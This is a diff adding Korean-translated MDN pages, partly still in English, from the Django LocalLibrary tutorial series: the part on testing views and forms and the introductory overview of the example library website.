+        self.assertEqual(response.status_code, 200)
+        self.assertTrue('is_paginated' in response.context)
+        self.assertTrue(response.context['is_paginated'] == True)
+        self.assertTrue(len(response.context['author_list']) == 3)</pre>
+
+<p>모든 테스트는 <code>TestCase</code>를 상속한 우리 테스트 클래스에 있는 클라이언트를 이용해서 <code>GET</code> 요청을 하고 그에 따른 응답을 받습니다. 첫번째 테스트는 특정 URL (도메인이 아닌 상대 경로임을 기억하세요) 을 확인하고 두번째 테스트는 URL 설정에서 설정해준 뷰의 이름에서 얻은 URL을 확인합니다.</p>
+
+<pre class="brush: python notranslate">response = self.client.get('/catalog/authors/')
+response = self.client.get(reverse('authors'))</pre>
+
+<p>응답을 받으면 우리는 응답에서 상태 코드, 사용된 템플릿, pagination이 되었는지 여부, 반환된 객체의 갯수, 그리고 전체 아이템의 갯수를 확인합니다.</p>
+
+<p>우리가 검증하는 변수 중 가장 흥미로운 변수는 바로 <code>response.context</code>로 뷰에 의해서 템플릿에 전달되는 context 변수입니다. 이는 템플릿이 필요한 모든 데이터를 받는지를 검증할 수 있게 해주기 때문에 테스팅에 정말 유용합니다. 즉 우리는 어떤 템플릿이 사용되고 또 어떤 데이터가 템플릿에 전달되는지를 확인할 수 있기 때문에 자신있게 렌더링에 관한 나머지 문제들은 오로지 템플릿의 문제라고 생각할 수 있습니다.</p>
+
+<h4 id="로그인한_사용자에게만_보이는_뷰">로그인한 사용자에게만 보이는 뷰</h4>
+
+<p>종종 우리는 로그인 한 사용자에게만 보이는 뷰를 테스트하고 싶습니다. 예를 들어서 <code>LoanedBooksByUserListView</code>는 방금 테스트한 뷰와 비슷하지만 로그인한 유저만 접근할 수 있으며, 현재 유저가 대출한, '대출 중' 상태의 <code>BookInstance</code> 만 보여주며 가장 오래된 것 부터 먼저 보여줍니다.</p>
+
+<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin
+
+class LoanedBooksByUserListView(LoginRequiredMixin, generic.ListView):
+    """Generic class-based view listing books on loan to current user."""
+    model = BookInstance
+    template_name ='catalog/bookinstance_list_borrowed_user.html'
+    paginate_by = 10
+
+    def get_queryset(self):
+        return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre>
+
+<p>아래 코드를  <strong>/catalog/tests/test_views.py </strong> 에 추가해주세요. 여기서 우리는 <code>SetUp()</code> 을 이용해서 계정을 생성한 다음 테스트에 사용할 <code>BookInstance</code> 객체와 관련된 책 및 기타 정보를 생성합니다. 각각의 테스트 계정에 의해서 책이 반반씩 대출되었지만 일단 우리는 모든 책의 상태를 "maintenance"로 설정합니다. 우리는 테스트 하면서 이들 객체들을 수정할 것이기 때문에 <code>setUpTestData()</code> 대신 <code>SetUp()</code>을 사용했습니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 아래의 <code>setUp()</code> 코드는 특정 <code>Language</code>의 책을 생성하지만, <code>Language</code> 모델이 이전 튜토리얼에서 도전 과제로 생성되었기 때문에 여러분의 코드에는 존재하지 않을 수 있습니다. 이때는 간단히 <code>Language</code> 객체를 불러오거나 생성하는 코드를 주석처리 해주세요. 같은 작업을 곧 나올 <code>RenewBookInstancesViewTest</code> 에도 해줘야 합니다.</p>
+</div>
+
+<pre class="brush: python notranslate">import datetime
+
+from django.utils import timezone
+from django.contrib.auth.models import User # Required to assign User as a borrower
+
+from catalog.models import BookInstance, Book, Genre, Language
+
+class LoanedBookInstancesByUserListViewTest(TestCase):
+    def setUp(self):
+        # Create two users
+        test_user1 = User.objects.create_user(username='testuser1', password='1X&lt;ISRUkw+tuK')
+        test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+
+        test_user1.save()
+        test_user2.save()
+
+        # Create a book
+        test_author = Author.objects.create(first_name='John', last_name='Smith')
+        test_genre = Genre.objects.create(name='Fantasy')
+        test_language = Language.objects.create(name='English')
+        test_book = Book.objects.create(
+            title='Book Title',
+            summary='My book summary',
+            isbn='ABCDEFG',
+            author=test_author,
+            language=test_language,
+        )
+
+        # Create genre as a post-step
+        genre_objects_for_book = Genre.objects.all()
+        test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed.
+        test_book.save()
+
+        # Create 30 BookInstance objects
+        number_of_book_copies = 30
+        for book_copy in range(number_of_book_copies):
+            return_date = timezone.now() + datetime.timedelta(days=book_copy%5)
+            the_borrower = test_user1 if book_copy % 2 else test_user2
+            status = 'm'
+            BookInstance.objects.create(
+                book=test_book,
+                imprint='Unlikely Imprint, 2016',
+                due_back=return_date,
+                borrower=the_borrower,
+                status=status,
+            )
+
+    def test_redirect_if_not_logged_in(self):
+        response = self.client.get(reverse('my-borrowed'))
+        self.assertRedirects(response, '/accounts/login/?next=/catalog/mybooks/')
+
+    def test_logged_in_uses_correct_template(self):
+        login = self.client.login(username='testuser1', password='1X&lt;ISRUkw+tuK')
+        response = self.client.get(reverse('my-borrowed'))
+
+        # Check our user is logged in
+        self.assertEqual(str(response.context['user']), 'testuser1')
+        # Check that we got a response "success"
+        self.assertEqual(response.status_code, 200)
+
+        # Check we used correct template
+        self.assertTemplateUsed(response, 'catalog/bookinstance_list_borrowed_user.html')</pre>
+
+<p>뷰가 로그인하지 않은 사용자를 로그인 화면으로 redirect 하는 것을 확인하기 위해 우리는  <code>assertRedirects</code>를 사용함을 <code>test_redirect_if_not_logged_in()</code>에서 확인할 수 있습니다. 페이지가 로그인 한 사용자에게 보임을 확인하기 위해서 우리는 테스트 유저로 로그인을 한 후에 페이지에 접근해서 응답의 상태코드가 200번임을 확인합니다 (성공을 의미).</p>
+
+<p>나머지 테스트 코드는 뷰가 현재 로그인 한 사용자가 대출한 책만을 반환하는지를 검증합니다. 아래의 코드를 위의 테스트 클래스 아래에 붙여 넣어 주세요.</p>
+
+<pre class="brush: python notranslate">    def test_only_borrowed_books_in_list(self):
+        login = self.client.login(username='testuser1', password='1X&lt;ISRUkw+tuK')
+        response = self.client.get(reverse('my-borrowed'))
+
+        # Check our user is logged in
+        self.assertEqual(str(response.context['user']), 'testuser1')
+        # Check that we got a response "success"
+        self.assertEqual(response.status_code, 200)
+
+        # Check that initially we don't have any books in list (none on loan)
+        self.assertTrue('bookinstance_list' in response.context)
+        self.assertEqual(len(response.context['bookinstance_list']), 0)
+
+        # Now change all books to be on loan
+        books = BookInstance.objects.all()[:10]
+
+        for book in books:
+            book.status = 'o'
+            book.save()
+
+        # Check that now we have borrowed books in the list
+        response = self.client.get(reverse('my-borrowed'))
+        # Check our user is logged in
+        self.assertEqual(str(response.context['user']), 'testuser1')
+        # Check that we got a response "success"
+        self.assertEqual(response.status_code, 200)
+
+        self.assertTrue('bookinstance_list' in response.context)
+
+        # Confirm all books belong to testuser1 and are on loan
+        for bookitem in response.context['bookinstance_list']:
+            self.assertEqual(response.context['user'], bookitem.borrower)
+            self.assertEqual('o', bookitem.status)
+
+    def test_pages_ordered_by_due_date(self):
+        # Change all books to be on loan
+        for book in BookInstance.objects.all():
+            book.status='o'
+            book.save()
+
+        login = self.client.login(username='testuser1', password='1X&lt;ISRUkw+tuK')
+        response = self.client.get(reverse('my-borrowed'))
+
+        # Check our user is logged in
+        self.assertEqual(str(response.context['user']), 'testuser1')
+        # Check that we got a response "success"
+        self.assertEqual(response.status_code, 200)
+
+        # Confirm that of the items, only 10 are displayed due to pagination.
+        self.assertEqual(len(response.context['bookinstance_list']), 10)
+
+        last_date = 0
+        for book in response.context['bookinstance_list']:
+            if last_date == 0:
+                last_date = book.due_back
+            else:
+                self.assertTrue(last_date &lt;= book.due_back)
+                last_date = book.due_back</pre>
+
+<p>당신은 pagination 역시 테스트 할 수 있습니다. 한 번 해보셨으면 좋겠습니다 :)</p>
+
+<h4 id="Form을_이용하는_view를_테스트하기">Form을 이용하는 view를 테스트하기</h4>
+
+<p>Form을 이용하는 뷰를 테스트하는 것은 앞선 경우에 비해 살짝 더 복잡합니다. 왜냐면 우리는 코드의 더 다양한 부분을 - 첫 화면, 데이터 유효성 검증이 실패한 화면, 데이터 유효성 검증이 성공한 화면 - 모두를 테스트해야 하기 때문입니다. 다행히 우리는 데이터를 보여주기만 하는 뷰를 테스트 할 때 사용했던 클라이언트를 거의 그대로 사용할 수 있습니다.</p>
+
+<p>대출을 갱신하기 위한 뷰를 테스트하기 위한 코드를 짜봅시다 (<code>renew_book_librarian()</code>):</p>
+
+<pre class="brush: python notranslate">from catalog.forms import RenewBookForm
+
+@permission_required('catalog.can_mark_returned')
+def renew_book_librarian(request, pk):
+    """View function for renewing a specific BookInstance by librarian."""
+    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # If this is a POST request then process the Form data
+    if request.method == 'POST':
+
+        # Create a form instance and populate it with data from the request (binding):
+        book_renewal_form = RenewBookForm(request.POST)
+
+        # Check if the form is valid:
+        if form.is_valid():
+            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)
+            book_instance.due_back = form.cleaned_data['renewal_date']
+            book_instance.save()
+
+            # redirect to a new URL:
+            return HttpResponseRedirect(reverse('all-borrowed'))
+
+    # If this is a GET (or any other method) create the default form
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        book_renewal_form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})
+
+    context = {
+        'book_renewal_form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)</pre>
+
+<p>이제 우리는 <code>can_mark_returned</code> permission을 가진 사용자만이 view를 사용할 수 있는지, 그리고 그 사용자들이 가지고 있지 않은  <code>BookInstance</code>  을 수정하려고 시도하면 HTTP 404 에러 페이지로 리다이렉트 되는지 테스트해봐야 합니다. We should check that the initial value of the form is seeded with a date three weeks in the future, and that if validation succeeds we're redirected to the "all-borrowed books" view. As part of checking the validation-fail tests we'll also check that our form is sending the appropriate error messages.</p>
+
+<p>Add the first part of the test class (shown below) to the bottom of <strong>/catalog/tests/test_views.py</strong>. This creates two users and two book instances, but only gives one user the permission required to access the view. The code to grant permissions during tests is shown in bold:</p>
+
+<pre class="brush: python notranslate">import uuid
+
+from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned.
+
+class RenewBookInstancesViewTest(TestCase):
+    def setUp(self):
+        # Create a user
+        test_user1 = User.objects.create_user(username='testuser1', password='1X&lt;ISRUkw+tuK')
+        test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+
+        test_user1.save()
+        test_user2.save()
+
+<strong>        permission = Permission.objects.get(name='Set book as returned')
+        test_user2.user_permissions.add(permission)
+        test_user2.save()</strong>
+
+        # Create a book
+        test_author = Author.objects.create(first_name='John', last_name='Smith')
+        test_genre = Genre.objects.create(name='Fantasy')
+        test_language = Language.objects.create(name='English')
+        test_book = Book.objects.create(
+            title='Book Title',
+            summary='My book summary',
+            isbn='ABCDEFG',
+            author=test_author,
+            language=test_language,
+        )
+
+        # Create genre as a post-step
+        genre_objects_for_book = Genre.objects.all()
+        test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed.
+        test_book.save()
+
+        # Create a BookInstance object for test_user1
+        return_date = datetime.date.today() + datetime.timedelta(days=5)
+        self.test_bookinstance1 = BookInstance.objects.create(
+            book=test_book,
+            imprint='Unlikely Imprint, 2016',
+            due_back=return_date,
+            borrower=test_user1,
+            status='o',
+        )
+
+        # Create a BookInstance object for test_user2
+        return_date = datetime.date.today() + datetime.timedelta(days=5)
+        self.test_bookinstance2 = BookInstance.objects.create(
+            book=test_book,
+            imprint='Unlikely Imprint, 2016',
+            due_back=return_date,
+            borrower=test_user2,
+            status='o',
+        )</pre>
+
+<p>Add the following tests to the bottom of the test class. These check that only users with the correct permissions (<em>testuser2</em>) can access the view. We check all the cases: when the user is not logged in, when a user is logged in but does not have the correct permissions, when the user has permissions but is not the borrower (should succeed), and what happens when they try to access a <code>BookInstance</code> that doesn't exist. We also check that the correct template is used.</p>
+
+<pre class="brush: python notranslate">   def test_redirect_if_not_logged_in(self):
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+        # Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable)
+        self.assertEqual(response.status_code, 302)
+        self.assertTrue(response.url.startswith('/accounts/login/'))
+
+    def test_redirect_if_logged_in_but_not_correct_permission(self):
+        login = self.client.login(username='testuser1', password='1X&lt;ISRUkw+tuK')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+
+        # Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable)
+        self.assertEqual(response.status_code, 302)
+        self.assertTrue(response.url.startswith('/accounts/login/'))
+
+    def test_logged_in_with_permission_borrowed_book(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance2.pk}))
+
+        # Check that it lets us login - this is our book and we have the right permissions.
+        self.assertEqual(response.status_code, 200)
+
+    def test_logged_in_with_permission_another_users_borrowed_book(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+
+        # Check that it lets us login. We're a librarian, so we can view any users book
+        self.assertEqual(response.status_code, 200)
+
+    def test_HTTP404_for_invalid_book_if_logged_in(self):
+        # unlikely UID to match our bookinstance!
+        test_uid = uuid.uuid4()
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid}))
+        self.assertEqual(response.status_code, 404)
+
+    def test_uses_correct_template(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+        self.assertEqual(response.status_code, 200)
+
+        # Check we used correct template
+        self.assertTemplateUsed(response, 'catalog/book_renew_librarian.html')
+</pre>
+
+<p>아래에 보이는 것처럼 새로운 테스트 방법을 추가해봅시다. 이것은 form의 초기 날짜가 3주 후인지를 확인합니다. 어떻게 우리가 form 필드의 첫 번째 값에 접근하는 것이 가능한지 참고해보세요. (굵게 표시된 부분에서 확인할 수 있습니다.)</p>
+
+<pre class="brush: python notranslate">    def test_form_renewal_date_initially_has_date_three_weeks_in_future(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))
+        self.assertEqual(response.status_code, 200)
+
+        date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3)
+        self.assertEqual(response<strong>.context['form'].initial['renewal_date']</strong>, date_3_weeks_in_future)</pre>
+
+<div class="warning">
+<p>만약 당신이 class <code>RenewBookForm(forms.Form)</code> 대신에 class <code>RenewBookModelForm(forms.ModelForm)</code> 을 사용한다면, form의 필드명은 <strong>'renewal_date' </strong>대신 <strong>'due_back'</strong>으로 나타날 것입니다.</p>
+</div>
+
+<p>The next test (add this to the class too) checks that the view redirects to a list of all borrowed books if renewal succeeds. What differs here is that for the first time we show how you can <code>POST</code> data using the client. The post <em>data</em> is the second argument to the post function, and is specified as a dictionary of key/values.</p>
+
+<pre class="brush: python notranslate">    def test_redirects_to_all_borrowed_book_list_on_success(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+        valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2)
+        <strong>response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future})</strong>
+        self.assertRedirects(response, reverse('all-borrowed'))
+</pre>
+
+<div class="warning">
+<p>The <em>all-borrowed</em> view was added as a <em>challenge</em>, and your code may instead redirect to the home page '/'. If so, modify the last two lines of the test code to be like the code below. The <code>follow=True</code> in the request ensures that the request returns the final destination URL (hence checking <code>/catalog/</code> rather than <code>/</code>).</p>
+
+<pre class="brush: python notranslate"> response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future}, <strong>follow=True</strong> )
+ <strong>self.assertRedirects(</strong><strong>response, '/catalog/')</strong></pre>
+</div>
+
+<p>Copy the last two functions into the class, as seen below. These again test <code>POST</code> requests, but in this case with invalid renewal dates. We use <code>assertFormError() </code>to verify that the error messages are as expected.</p>
+
+<pre class="brush: python notranslate">    def test_form_invalid_renewal_date_past(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+        date_in_past = datetime.date.today() - datetime.timedelta(weeks=1)
+        response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': date_in_past})
+        self.assertEqual(response.status_code, 200)
+        <strong>self.assertFormError(</strong><strong>response, 'form', 'renewal_date', 'Invalid date - renewal in past')</strong>
+
+    def test_form_invalid_renewal_date_future(self):
+        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&amp;3iD')
+        invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5)
+        response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': invalid_date_in_future})
+        self.assertEqual(response.status_code, 200)
+        <strong>self.assertFormError(</strong><strong>response, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead')</strong>
+</pre>
+
+<p>The same sorts of techniques can be used to test the other view.</p>
+
+<h3 id="Templates">Templates</h3>
+
+<p>Django provides test APIs to check that the correct template is being called by your views, and to allow you to verify that the correct information is being sent. There is however no specific API support for testing in Django that your HTML output is rendered as expected.</p>
+
+<h2 id="Other_recommended_test_tools">Other recommended test tools</h2>
+
+<p>Django's test framework can help you write effective unit and integration tests — we've only scratched the surface of what the underlying <strong>unittest</strong> framework can do, let alone Django's additions (for example, check out how you can use <a href="https://docs.python.org/3.5/library/unittest.mock-examples.html">unittest.mock</a> to patch third party libraries so you can more thoroughly test your own code).</p>
+
+<p>While there are numerous other test tools that you can use, we'll just highlight two:</p>
+
+<ul>
+ <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: This Python tool reports on how much of your code is actually executed by your tests. It is particularly useful when you're getting started, and you are trying to work out exactly what you should test.</li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> is a framework to automate testing in a real browser. It allows you to simulate a real user interacting with the site, and provides a great framework for system testing your site (the next step up from integration testing).</li>
+</ul>
+
+<h2 id="Challenge_yourself">Challenge yourself</h2>
+
+<p>There are a lot more models and views we can test. As a simple task, try to create a test case for the <code>AuthorCreate</code> view.</p>
+
+<pre class="brush: python notranslate">class AuthorCreate(PermissionRequiredMixin, CreateView):
+    model = Author
+    fields = '__all__'
+    initial = {'date_of_death':'12/10/2016'}
+    permission_required = 'catalog.can_mark_returned'</pre>
+
+<p>Remember that you need to check anything that you specify or that is part of the design. This will include who has access, the initial date, the template used, and where the view redirects on success.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Writing test code is neither fun nor glamorous, and is consequently often left to last (or not at all) when creating a website. It is however an essential part of making sure that your code is safe to release after making changes, and cost-effective to maintain.</p>
+
+<p>In this tutorial we've shown you how to write and run tests for your models, forms, and views. Most importantly we've provided a brief summary of what you should test, which is often the hardest thing to work out when you're getting started. There is a lot more to know, but even with what you've learned already you should be able to create effective unit tests for your websites.</p>
+
+<p>The next and final tutorial shows how you can deploy your wonderful (and fully tested!) Django website.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/testing/overview/">Writing and running tests</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial05/">Writing your first Django app, part 5 &gt; Introducing automated testing</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/">Testing tools reference</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/testing/advanced/">Advanced testing topics</a> (Django docs)</li>
+ <li><a href="http://toastdriven.com/blog/2011/apr/10/guide-to-testing-in-django/">A Guide to Testing in Django</a> (Toast Driven Blog, 2011)</li>
+ <li><a href="http://test-driven-django-development.readthedocs.io/en/latest/index.html">Workshop: Test-Driven Web Development with Django</a> (San Diego Python, 2014)</li>
+ <li><a href="https://realpython.com/blog/python/testing-in-django-part-1-best-practices-and-examples/">Testing in Django (Part 1) - Best Practices and Examples</a> (RealPython, 2013)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/django/tutorial_local_library_website/index.html b/files/ko/learn/server-side/django/tutorial_local_library_website/index.html
new file mode 100644
index 0000000000..6cad27324e
--- /dev/null
+++ b/files/ko/learn/server-side/django/tutorial_local_library_website/index.html
@@ -0,0 +1,92 @@
+---
+title: 'Django 튜토리얼: 지역 도서관 웹사이트'
+slug: Learn/Server-side/Django/Tutorial_local_library_website
+translation_of: Learn/Server-side/Django/Tutorial_local_library_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">이번은 실전 튜토리얼 시리즈의 첫번째 파트로서 당신이 배울 내용을 설명하고, 이어지는 튜토리얼 시리즈에서 개발하고 개선시켜볼  "지역 도서관" 예제 웹사이트에 대한 개요를 제공한다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전학습:</th>
+   <td><a href="/ko/docs/Learn/Server-side/Django/Introduction">Django 소개</a> 파트를 읽으세요. 이어지는 파트를 위해서는 <a href="/ko/docs/Learn/Server-side/Django/development_environment">Django개발 환경 설치하기</a> 파트도 필요합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표:</th>
+   <td>이 튜토리얼에서 사용될 예제 어플리케이션을 소개하고, 여기서 논의될 토픽들의 범위에 대해 이해하기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>MDN "로컬 라이브러리" 장고 튜토리얼에서 오신 것을 환영합니다. 여기에서는 , "로컬 라이브러리" 카탈로그를 운영하는데 사용될 수 있는 웹사이트를 개발할 것이다. </p>
+
+<p>이 튜토리얼 시리즈는 아래 내용을 다룬다:</p>
+
+<ul>
+ <li>웹 애플리케이션의 골격을 만들기 위해 장고 도구 사용하기</li>
+ <li>개발 서버 시작하기와 끝내기</li>
+ <li>애플리케이션 데이터의 틀이 되는 모델 생성하기</li>
+ <li>데이터를 입력하기 위해서 장고 관리자(admin) 사이트 사용하기</li>
+ <li>여러가지 요청에 따른 특정 데이터를 가져오는 뷰(view)와 브라우저상에서 이 데이타를 볼수 있도록 HTML로 렌더링하는 템플릿을 생성하기</li>
+ <li>여러가지 URL 패턴과  특정한 뷰를 연결하는 맵퍼(mappers) 만들기</li>
+ <li>사이트 동작과 접속을 통제하기 위한 유저 인증(authorization) &amp; 세션 추가하기</li>
+ <li>폼으로 작업하기</li>
+ <li>앱을 테스트할 코드 작성하기</li>
+ <li>장고의 보안도구를 효과적으로 사용하기</li>
+ <li>애플리케이션을 운영환경에 배포하기</li>
+</ul>
+
+<p>여러분은 이 토픽들 중 일부는 이미 배웠고, 나머지는 가볍게 경험했다. 이 튜토리얼 시리즈를 완료하면, 여러분은 간단한 장고 앱을 혼자서 충분히 개발할 수 있다. </p>
+
+<h2 id="LocalLibrary_웹사이트">LocalLibrary 웹사이트</h2>
+
+<p><em>LocalLibrary는 이 튜토리얼 시리즈에서 우리가 만들고 개선시켜나갈 웹사이트의 이름이다.</em>  이름에서 예상되듯이, 이용자들이 대여 가능한 책을 찾아보고 사용자 계정을 관리할 수 있는, 작은 지역 도서관을 위한 온라인 도서목록을 제공하는 것이 목적이다.</p>
+
+<p>이 예제는, 우리가 필요에 따라 크게 혹은 작게 확장할 수 있고, 대부분은 장고의 특성을 보여줄 수 있도록 아주 신중하게 선택된 예제이다. 더욱 중요한 것은 이 예제는 장고 웹 프레임워크의 가장 중요한 기능들을 경험해 보도록 안내된 경로를 제공한다:</p>
+
+<ul>
+ <li>처음 몇몇의 튜토리얼에서, 사용자가 어떤 책을 이용할 수 있는지 찾아볼 수 있도록, 간단한 둘러보기 전용 도서관 기능을 정의할 것이다. 이 내용은 거의 모든 웹사이트에서 일반적으로 제공되는 동작(데이타베이스에서 내용을 읽고 보여주는 것)을 탐색해볼 수 있도록 해줄 것이다.</li>
+ <li>튜토리얼을 좀 더 진행해 가면서, 도서관 예제는 좀 더 고급의 장고 기능을 보여줄 수 있도록 자연스럽게 확장된다. 예를 들면, 사용자가 책을 예약하도록 기능을 확장할 수 있고 이것을 이용해 폼을 사용하는 방법과 사용자 인증을 지원하는 방법을 보여줄 수 있다.</li>
+</ul>
+
+<p>이것은 매우 확장성있는 예제이지만, 다음과 같은 이유로 <em><strong>Local</strong>Library(Local에 강조)로 이름을 지었다. 그 이유는, 당신이 장고 개발을 빠르게 착수할 수 있도록, 필요한 최소한의 정보만 보여주고자 의도한 것이다. 결과적으로 책, 책의 판본, 저자및 다른 Key 정보를 저장할 것이다. 하지만 그외의 일반적인 도서관이 추가로 저장할만한 정보는 저장하지 않을 것이며, 여러개의 도서관 사이트를 지원하거나, "커다란 도서관"을 위한 기능은 제공하지 않을것이다.</em></p>
+
+<h2 id="개발중에_막혔어요_소스코드는_어딨죠">개발중에 막혔어요, 소스코드는 어딨죠?</h2>
+
+<p>튜토리얼을 진행하면서, 각 포인트마다 복사해서 붙여넣기할 수 있는 적절한 토막 코드가 제공될 것이다. 또한 당신이 스스로 (약간의 안내문과 함께) 도전해볼 수 있는 부분도 있을 것이다.</p>
+
+<p>개발중에 진행이 어렵다면, 여기<a href="https://github.com/mdn/django-locallibrary-tutorial"> Github</a>에 완전히 개발된 버전의 웹사이트 소스코드를 참고할 수도 있다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>LocalLibrary 웹사이트와 당신이 앞으로 배울 내용에 대해 좀 더 알게되었다. 이제 우리 예제를 담을 <a href="/ko/docs/Learn/Server-side/Django/skeleton_website">뼈대 프로젝트(skeleton project)</a>를 생성해볼 차례이다.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
